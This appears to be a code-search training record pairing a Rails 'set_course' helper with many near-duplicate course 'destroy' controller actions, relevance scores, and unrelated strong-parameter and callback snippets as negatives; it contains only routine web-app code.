"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @Course = Course__c.find(params[:id])\n @Course.destroy\n\n respond_to do |format|\n format.html { redirect_to Courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @course = Course.find(params[:id])\r\n @course.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to courses_path }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n course_name = @course.course_id\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course ' + course_name + ' was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to coursees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @study_course = StudyCourse.find(params[:id])\n @study_course.destroy\n\n respond_to do |format|\n format.html { redirect_to study_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to my_created_courses_path, notice: 'Course was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n puts \"WTF I GOT HERE\"\n @course = Course.find(params[:id])\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_path, notice: 'Course was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Kurs je uspješno izbrisan. ' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Curso destruído com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lab_course = LabCourse.find(params[:id])\n @lab_course.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_courses_url }\n format.json { head :no_content }\n end\n end",
"def delete_course_by_id(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/courses/#{org_unit_id}\" # setup user path\n # ap path\n _delete(path)\n puts '[+] Course data deleted successfully'.green\nend",
"def destroy\n @path_course.destroy\n respond_to do |format|\n format.html { redirect_to path_courses_url, notice: 'Path course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @novanet_course.destroy\n respond_to do |format|\n format.html { redirect_to novanet_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_course.destroy\n respond_to do |format|\n format.html { redirect_to admin_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.delete\n end",
"def destroy\n @course = Course.find(params[:id])\n authorize! :destroy, @course\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n LearningMaterial.destroy_course(@course)\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_path(:option=>2), notice: 'El curso fue exitosamente eliminado!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @court = Court.find(params[:id])\n @court.destroy\n\n respond_to do |format|\n format.html { redirect_to courts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.where(:id=>params[:id]).first()\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_courses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @university_course.destroy\n respond_to do |format|\n format.html { redirect_to university_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: \"Course was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: \"Course was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: \"Course was successfully destroyed.\" }\n format.json { head :no_content, status: :ok }\n end\n end",
"def destroy\n begin\n @course = Course.find(params[:id])\n raise if @course.nil?\n \n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to club_courses_path }\n format.json { head :no_content }\n end\n rescue\n render :layout => 'error', :template => 'errors/error'\n end\n end",
"def destroy\n @watercourse.destroy\n respond_to do |format|\n format.html { redirect_to watercourses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clinical_course = ClinicalCourse.find(params[:id])\n @clinical_course.destroy\n\n respond_to do |format|\n format.html { redirect_to clinical_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.update(deleted: true)\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @first_aid_course = FirstAidCourse.find(params[:id])\n @first_aid_course.destroy\n\n respond_to do |format|\n format.html { redirect_to first_aid_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(courses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(courses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(courses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n authorize! :destroy, @course\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_courses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @enrolled_course.destroy\n respond_to do |format|\n format.html { redirect_to enrolled_courses_url, notice: 'Enrolled course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type_course = TypeCourse.find(params[:id])\n @type_course.destroy\n\n respond_to do |format|\n format.html { redirect_to type_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize :destroy, @course\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course_request = CourseRequest.find(params[:id])\n @course_request.destroy\n\n respond_to do |format|\n format.html { redirect_to course_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course_status = CourseStatus.find(params[:id])\n @course_status.destroy\n\n respond_to do |format|\n format.html { redirect_to course_statuses_url, :notice => 'Estado de Curso excluído com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n current_user.enrollments.where(course_id: @course.id).first.destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_url, :flash => { :success => 'Course was successfully deleted.' } }\n format.json { head :no_content }\n end\n end",
"def destroy\n @given_course.destroy\n respond_to do |format|\n format.html { redirect_to given_courses_url, notice: 'Given course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n result = Hash.new\n begin # try\n result = RegistCoursesHlp.delete(params[:id])\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def destroy\n @person_course.destroy\n respond_to do |format|\n format.html { redirect_to person_courses_url, notice: 'Person course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n flash[:success] = \"Course was successfully deleted.\"\n format.html { redirect_to admin_url(current_admin.id)}\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n end",
"def destroy\n @course_detail.destroy\n respond_to do |format|\n format.html { redirect_to course_details_url, notice: 'Course detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_sub_course = StudentSubCourse.find(params[:id])\n @student_sub_course.destroy\n\n respond_to do |format|\n format.html { redirect_to student_sub_courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Course.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to course_url, notice: 'Course was successfully removed.' }\n format.json { head :no_content }\n end\n # redirect_to static_pages_home_path\n end",
"def destroy # simply delete single course\n begin\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }\n format.json { head :no_content }\n end #end do\n rescue Exception => msgErr # interrogate a rescured exception\n puts msgErr #print error message\n end #end rescue\n end",
"def destroy\n @people_course.destroy\n respond_to do |format|\n format.html { redirect_to people_courses_url, notice: 'People course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n \n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.mobile { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @curriculum_course.destroy\n respond_to do |format|\n format.html { redirect_to curriculum_courses_url, notice: 'Curriculum course was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.77230847",
"0.77079666",
"0.77079666",
"0.77079666",
"0.77079666",
"0.76962376",
"0.7696043",
"0.7696043",
"0.7696043",
"0.7696043",
"0.7696043",
"0.7696043",
"0.7696043",
"0.7696043",
"0.7696043",
"0.7696043",
"0.7696043",
"0.76494783",
"0.76408905",
"0.7619815",
"0.7609345",
"0.7590714",
"0.75764287",
"0.75692135",
"0.75462914",
"0.75420517",
"0.75322306",
"0.7522291",
"0.75156885",
"0.7509708",
"0.7489476",
"0.7485458",
"0.74687713",
"0.74641526",
"0.74630284",
"0.74558574",
"0.74558574",
"0.74227786",
"0.74169743",
"0.7414259",
"0.73992723",
"0.73934436",
"0.73934436",
"0.73816776",
"0.73779315",
"0.73350716",
"0.7319183",
"0.73014355",
"0.729593",
"0.7287025",
"0.7287025",
"0.7287025",
"0.7282225",
"0.72555995",
"0.72491413",
"0.72398365",
"0.72395265",
"0.7239376",
"0.72244465",
"0.72101367",
"0.7208372",
"0.72082925",
"0.7190602",
"0.71847165",
"0.71824086",
"0.7180118",
"0.71787465",
"0.7177156",
"0.71766627",
"0.71729076",
"0.7164049",
"0.71633387",
"0.7152715"
] |
0.73929405
|
67
|
Use callbacks to share common setup or constraints between actions.
|
def set_course
@course = Course.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def course_params
params.require(:course).permit(:code, :name, :semester, :year)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
